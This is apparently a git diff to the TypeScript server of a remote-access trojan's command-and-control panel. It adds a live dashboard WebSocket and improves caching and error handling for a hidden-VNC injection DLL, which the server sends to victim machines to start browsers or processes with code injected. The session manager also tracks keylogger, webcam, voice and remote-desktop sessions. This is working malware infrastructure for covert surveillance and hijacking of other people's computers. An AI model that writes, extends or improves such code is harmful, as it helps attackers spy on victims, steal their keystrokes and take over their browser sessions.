@@ -176,6 +181,7 @@ export function handleWebSocketMessage(
|
|||||||
handleHello(info, payload, ws, ip);
|
handleHello(info, payload, ws, ip);
|
||||||
clientManager.addClient(info.id, info);
|
clientManager.addClient(info.id, info);
|
||||||
deps.dispatchAutoScriptsForConnection(info, ws);
|
deps.dispatchAutoScriptsForConnection(info, ws);
|
||||||
|
deps.notifyDashboard();
|
||||||
if (info.role === "client") {
|
if (info.role === "client") {
|
||||||
const wasKnown = Boolean((ws as any)?.data?.wasKnown);
|
const wasKnown = Boolean((ws as any)?.data?.wasKnown);
|
||||||
logAudit({
|
logAudit({
|
||||||
@@ -201,6 +207,7 @@ export function handleWebSocketMessage(
|
|||||||
break;
|
break;
|
||||||
case "pong":
|
case "pong":
|
||||||
handlePong(info, payload);
|
handlePong(info, payload);
|
||||||
|
deps.notifyDashboard();
|
||||||
break;
|
break;
|
||||||
case "frame":
|
case "frame":
|
||||||
if ((payload as any)?.header?.fps === 0) {
|
if ((payload as any)?.header?.fps === 0) {
|
||||||
@@ -447,12 +454,18 @@ export function handleWebSocketClose(
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (role === "dashboard_viewer") {
|
||||||
|
sessionManager.deleteDashboardSession(ws.data.sessionId || clientId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
clientManager.deleteClient(clientId);
|
clientManager.deleteClient(clientId);
|
||||||
stopAllProxiesForClient(clientId);
|
stopAllProxiesForClient(clientId);
|
||||||
clearClientSyncState(clientId);
|
clearClientSyncState(clientId);
|
||||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||||
setOnlineState(clientId, false);
|
setOnlineState(clientId, false);
|
||||||
deps.clearPendingNotificationScreenshots(clientId);
|
deps.clearPendingNotificationScreenshots(clientId);
|
||||||
|
deps.notifyDashboard();
|
||||||
logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
|
logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
|
||||||
|
|
||||||
if (role === "client") {
|
if (role === "client") {
|
||||||
|
|||||||
@@ -193,5 +193,17 @@ export async function handleWsUpgradeRoutes(
|
|||||||
return new Response("Upgrade failed", { status: 500 });
|
return new Response("Upgrade failed", { status: 500 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (req.method === "GET" && url.pathname === "/api/dashboard/ws") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
const ip = server.requestIP(req)?.address || "";
|
||||||
|
if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
|
||||||
|
return new Response();
|
||||||
|
}
|
||||||
|
return new Response("Upgrade failed", { status: 500 });
|
||||||
|
}
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,14 +12,11 @@ import * as sessionManager from "../sessions/sessionManager";
|
|||||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||||
import type { ClientInfo } from "../types";
|
import type { ClientInfo } from "../types";
|
||||||
|
|
||||||
// Cache the injection DLL bytes so we read the file only once.
|
|
||||||
// Sent as raw binary via msgpack — no base64 needed.
|
|
||||||
let _cachedInjectionDll: Uint8Array | null = null;
|
let _cachedInjectionDll: Uint8Array | null = null;
|
||||||
let _dllCacheChecked = false;
|
let _dllCachePath: string | null = null;
|
||||||
function getInjectionDllBytes(): Uint8Array | null {
|
let _dllCacheMtimeMs: number = 0;
|
||||||
if (_dllCacheChecked) return _cachedInjectionDll;
|
|
||||||
_dllCacheChecked = true;
|
|
||||||
|
|
||||||
|
function getInjectionDllBytes(): Uint8Array | null {
|
||||||
const runtimeRoot = resolveRuntimeRoot();
|
const runtimeRoot = resolveRuntimeRoot();
|
||||||
const candidates = [
|
const candidates = [
|
||||||
path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"),
|
path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"),
|
||||||
@@ -27,15 +24,40 @@ function getInjectionDllBytes(): Uint8Array | null {
|
|||||||
path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"),
|
path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"),
|
||||||
];
|
];
|
||||||
|
|
||||||
|
if (_dllCachePath) {
|
||||||
|
try {
|
||||||
|
const { statSync } = require("fs");
|
||||||
|
const st = statSync(_dllCachePath);
|
||||||
|
if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
|
||||||
|
return _cachedInjectionDll;
|
||||||
|
}
|
||||||
|
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
|
||||||
|
_dllCacheMtimeMs = st.mtimeMs;
|
||||||
|
logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
|
||||||
|
return _cachedInjectionDll;
|
||||||
|
} catch {
|
||||||
|
_dllCachePath = null;
|
||||||
|
_cachedInjectionDll = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
for (const dllPath of candidates) {
|
for (const dllPath of candidates) {
|
||||||
if (!existsSync(dllPath)) continue;
|
if (!existsSync(dllPath)) continue;
|
||||||
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
|
try {
|
||||||
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
const { statSync } = require("fs");
|
||||||
return _cachedInjectionDll;
|
const st = statSync(dllPath);
|
||||||
|
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
|
||||||
|
_dllCachePath = dllPath;
|
||||||
|
_dllCacheMtimeMs = st.mtimeMs;
|
||||||
|
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
||||||
|
return _cachedInjectionDll;
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||||
return _cachedInjectionDll;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
||||||
@@ -644,6 +666,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
const dllData = getInjectionDllBytes();
|
const dllData = getInjectionDllBytes();
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||||
|
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
sendHVNCCommand(target, "hvnc_start_process_injected", {
|
sendHVNCCommand(target, "hvnc_start_process_injected", {
|
||||||
@@ -658,6 +681,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
const dllData = getInjectionDllBytes();
|
const dllData = getInjectionDllBytes();
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||||
|
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
|
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
|
||||||
@@ -670,6 +694,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
const dllData = getInjectionDllBytes();
|
const dllData = getInjectionDllBytes();
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||||
|
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
sendHVNCCommand(target, "hvnc_start_browser_injected", {
|
sendHVNCCommand(target, "hvnc_start_browser_injected", {
|
||||||
|
|||||||
@@ -10,6 +10,14 @@ import type {
|
|||||||
SocketData,
|
SocketData,
|
||||||
} from "./types";
|
} from "./types";
|
||||||
|
|
||||||
|
export type DashboardViewer = {
|
||||||
|
id: string;
|
||||||
|
viewer: ServerWebSocket<SocketData>;
|
||||||
|
createdAt: number;
|
||||||
|
userId?: number;
|
||||||
|
userRole?: string;
|
||||||
|
};
|
||||||
|
|
||||||
const consoleSessions = new Map<string, ConsoleSession>();
|
const consoleSessions = new Map<string, ConsoleSession>();
|
||||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||||
@@ -22,6 +30,7 @@ const processSessions = new Map<string, ProcessViewer>();
|
|||||||
const notificationSessions = new Map<string, NotificationsViewer>();
|
const notificationSessions = new Map<string, NotificationsViewer>();
|
||||||
const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
||||||
const voiceSessions = new Map<string, VoiceViewer>();
|
const voiceSessions = new Map<string, VoiceViewer>();
|
||||||
|
const dashboardSessions = new Map<string, DashboardViewer>();
|
||||||
|
|
||||||
function addSessionToClientIndex(
|
function addSessionToClientIndex(
|
||||||
index: Map<string, Set<string>>,
|
index: Map<string, Set<string>>,
|
||||||
@@ -371,3 +380,37 @@ export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] {
|
|||||||
export function getAllVoiceSessions(): Map<string, VoiceViewer> {
|
export function getAllVoiceSessions(): Map<string, VoiceViewer> {
|
||||||
return voiceSessions;
|
return voiceSessions;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function addDashboardSession(session: DashboardViewer): void {
|
||||||
|
dashboardSessions.set(session.id, session);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function deleteDashboardSession(sessionId: string): boolean {
|
||||||
|
return dashboardSessions.delete(sessionId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getAllDashboardSessions(): Map<string, DashboardViewer> {
|
||||||
|
return dashboardSessions;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getDashboardSessionCount(): number {
|
||||||
|
return dashboardSessions.size;
|
||||||
|
}
|
||||||
|
|
||||||
|
let dashboardBroadcastTimer: ReturnType<typeof setTimeout> | null = null;
|
||||||
|
const DASHBOARD_DEBOUNCE_MS = 150;
|
||||||
|
|
||||||
|
export function notifyDashboardViewers(): void {
|
||||||
|
if (dashboardBroadcastTimer) return;
|
||||||
|
dashboardBroadcastTimer = setTimeout(() => {
|
||||||
|
dashboardBroadcastTimer = null;
|
||||||
|
const msg = JSON.stringify({ type: "clients_changed" });
|
||||||
|
for (const [id, session] of dashboardSessions) {
|
||||||
|
try {
|
||||||
|
session.viewer.send(msg);
|
||||||
|
} catch {
|
||||||
|
dashboardSessions.delete(id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, DASHBOARD_DEBOUNCE_MS);
|
||||||
|
}
|
||||||
|
|||||||
@@ -10,7 +10,8 @@ export type SocketRole =
|
|||||||
| "process_viewer"
|
| "process_viewer"
|
||||||
| "notifications_viewer"
|
| "notifications_viewer"
|
||||||
| "keylogger_viewer"
|
| "keylogger_viewer"
|
||||||
| "voice_viewer";
|
| "voice_viewer"
|
||||||
|
| "dashboard_viewer";
|
||||||
|
|
||||||
export type SocketData = {
|
export type SocketData = {
|
||||||
role: SocketRole;
|
role: SocketRole;
|
||||||
|
|||||||
Reference in New Issue
Block a user